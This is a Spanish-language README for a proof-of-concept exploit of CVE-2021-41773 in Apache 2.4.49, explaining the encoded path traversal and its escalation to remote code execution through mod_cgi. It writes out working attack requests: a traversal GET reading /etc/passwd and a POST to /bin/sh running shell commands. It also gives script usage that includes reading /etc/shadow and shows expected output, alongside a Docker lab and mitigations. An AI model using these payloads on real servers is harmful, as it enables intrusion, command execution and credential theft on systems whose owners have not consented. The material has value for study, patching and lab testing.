## https://sploitus.com/exploit?id=DF994407-02A8-5D7C-9D23-8887B2A2951D
# CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi
> **Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.**
---
## Descripción
PoC desarrollada para demostrar y entender la vulnerabilidad **CVE-2021-41773**, presente en **Apache HTTP Server 2.4.49**.
El fallo reside en la función `ap_normalize_path()`, que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del `DocumentRoot` mediante una secuencia de caracteres codificados (`%2e%2e%2f` en lugar de `../`), leyendo archivos arbitrarios del sistema.
Cuando el módulo `mod_cgi` estaba habilitado, la vulnerabilidad escalaba a **RCE (Remote Code Execution)**, permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.
---
## Condiciones necesarias para la explotación
El servidor debe cumplir **todas** estas condiciones para ser vulnerable:
| Condición | Detalle |
|---|---|
| Versión de Apache | Exactamente `2.4.49` |
| Directiva de acceso | `Require all granted` en la configuración |
| Módulo CGI | `mod_cgi` habilitado (solo para RCE) |
---
## Cómo funciona el ataque
### Fase 1 — Path Traversal
Apache 2.4.49 filtraba el clásico `../` pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:
```
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
```
`%2e%2e%2f` es la codificación URL de `../`. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.
### Fase 2 — RCE via mod_cgi
Con `mod_cgi` activo, el path traversal se usa para apuntar a `/bin/sh` en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:
```
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
```
El output del comando llega en la respuesta HTTP.
---
## Entorno de pruebas
La forma más limpia de reproducir la vulnerabilidad es con Docker:
```bash
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
```
O con una imagen manual de Apache 2.4.49 con la configuración vulnerable:
```apache
Require all granted
```
---
Voy a dejar los archivos de configuracion que eh utilizado para la prueba.
## Uso del script
```
python PoC_2021-41773.py --target --mode [--cmd ]
```
### Argumentos
| Argumento | Requerido | Descripción |
|---|---|---|
| `--target` | Sí | URL base del servidor (ej: `http://localhost:8080`) |
| `--mode` | Sí | `traversal` para leer archivos, `rce` para ejecutar comandos |
| `--cmd` | No | Comando a ejecutar en modo `rce` (default: `id`) |
### Ejemplos
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Ejecutar el comando 'id'
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
# Ejecutar un comando con espacios
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
### Output esperado — modo traversal
```
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
### Output esperado — modo rce
```
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmado
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```
---
## Mitigación
- Actualizar Apache a versión `2.4.51` o superior.
- Configurar `Require all denied` como valor por defecto.
- Deshabilitar `mod_cgi` si no es estrictamente necesario.
---
## Referencias
- [Rapid7 — CVE-2021-41773 Exploited in the Wild](https://www.rapid7.com/blog/post/2021/10/06/apache-http-server-cve-2021-41773-exploited-in-the-wild/)
- [Qualys — Path Traversal & RCE Analysis](https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013)
- [NVD — CVE-2021-41773](https://nvd.nist.gov/vuln/detail/CVE-2021-41773)
---
*PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.*